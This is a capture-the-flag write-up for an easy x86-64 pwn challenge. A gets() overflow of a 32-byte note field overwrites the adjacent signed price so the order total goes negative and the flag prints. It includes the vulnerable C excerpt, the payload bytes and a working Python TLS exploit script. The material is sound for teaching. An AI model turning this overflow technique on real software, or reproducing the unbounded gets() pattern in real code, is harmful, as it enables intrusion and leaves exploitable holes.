Recipe for Disaster
Recipe for Disaster
Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: gets_exploitation, intra_struct_field_overwrite, little_endian_overwrite, signed_integer_underflow, tls_socket_pwn
Summary
Walkthrough of the CUSTOM Pwn Recipe for Disaster. Task: x86-64 food-ordering pwn binary uses gets() to read a chef note into a fixed 32-byte struct field that is directly followed by int price. Solution: overflow note by 4 bytes to set the item's own
Description
Are you hungry? If so, I have this awesome food ordering app for you. I only ask you not to break it.
A food-ordering CLI app. Source challenge.c and a dynamically-linked, non-stripped x86-64 ELF (challenge) with debug info are provided. The remote service is served over TLS and reached with ncat --ssl <host> 443. Goal: trigger the flag-printing path.
Analysis
The relevant struct and logic from challenge.c:
c read-only • copy allowedtypedef struct { char item[32]; // offset 0 char note[32]; // offset 32 int price; // offset 64 } Item; void verify_total(int total) { if (total < 0) { // <-- win condition puts("[SYSTEM] Pricing error detected! ..."); print_coupon(); // opens and prints /flag exit(0); } ... } void take_order(void) { Item order[10]; ... strncpy(cur->item, MENU[choice-1].name, sizeof(cur->item)-1); cur->price = MENU[choice-1].price; printf("Any note for the chef? ...\n> "); gets(cur->note); // VULN: unbounded write into note[32] ... int total = calculate_total(order, n_items); verify_total(total); // total += each item's price }
Key observations:
- Win path.
verify_total(total)callsprint_coupon()(which reads and prints/flag) only whentotal < 0.totalis a signedint, the sum of each ordered item'sprice. - The bug.
gets(cur->note)is an unbounded write into the 32-bytenotefield. This is the classicgets()overflow — but here it does NOT need to reach the saved return address. - Struct adjacency. Inside the same
Item,int pricesits immediately afterchar note[32](struct offset 64). Writing 32 bytes to fillnoteplus 4 more bytes overwrites this item's ownprice— an intra-struct field overwrite, not a stack-smash. - Sign trick.
priceis a signedint. Setting it to0x80000000makes it-2147483648. With a single item, the runningtotalbecomes negative, satisfyingtotal < 0. - Theme / red herring. The source comment about an intern worrying "the sum might overflow" and menu items named after CTF vuln classes are flavor: the real primitive is the field overwrite, and we make the total negative directly rather than via summation overflow.
getsreads until newline, so embedded NUL bytes in0x80000000are fine.
So: order one item, give a 36-byte note that fills note[32] and overwrites price with little-endian 0x80000000, finish the order. No ROP, no canary leak, no stack pivot.
Solution
Steps against the menu-driven program:
- Order item 1 → send
1. - For the note, send
b"A"*32 + b"\x00\x00\x00\x80"— 32 bytes fillnote, the next 4 bytes land onprice(little-endian0x80000000=-2147483648). - Finish ordering → send
0. - Receipt prints
TOTAL $-2147483648, then[SYSTEM] Pricing error detected!, thenprint_coupon()leaks/flag.
The service is TLS-wrapped, so we wrap a raw socket with Python's ssl (no pwntools needed). The standard alternative is pwntools remote(host, 443, ssl=True) or ncat --ssl host 443.
python read-only • copy allowed#!/usr/bin/env python3 import ssl, socket HOST = "<remote host>" PORT = 443 ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST) def recv_until(token: bytes, timeout: float = 5.0) -> bytes: s.settimeout(timeout) buf = b"" try: while token not in buf: chunk = s.recv(4096) if not chunk: break buf += chunk except socket.timeout: pass return buf # 1) order item 1 recv_until(b">") s.sendall(b"1\n") # 2) note overflow: 32 bytes fill note[32], next 4 bytes set price = 0x80000000 = -2147483648 recv_until(b">") s.sendall(b"A" * 32 + b"\x00\x00\x00\x80" + b"\n") # 3) finish ordering -> TOTAL goes negative -> verify_total(total < 0) -> print_coupon() -> /flag recv_until(b">") s.sendall(b"0\n") print(recv_until(b"GPNCTF{").decode(errors="replace")) print(s.recv(4096).decode(errors="replace"))
Running it yields the receipt with TOTAL $-2147483648, the pricing-error message, and the flag.
Key Takeaways / Lessons
- Mastering gets_exploitation, intra_struct_field_overwrite, little_endian_overwrite, signed_integer_underflow, tls_socket_pwn was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2024-05-30 • CUSTOM • Recipe for Disaster • Difficulty: Easy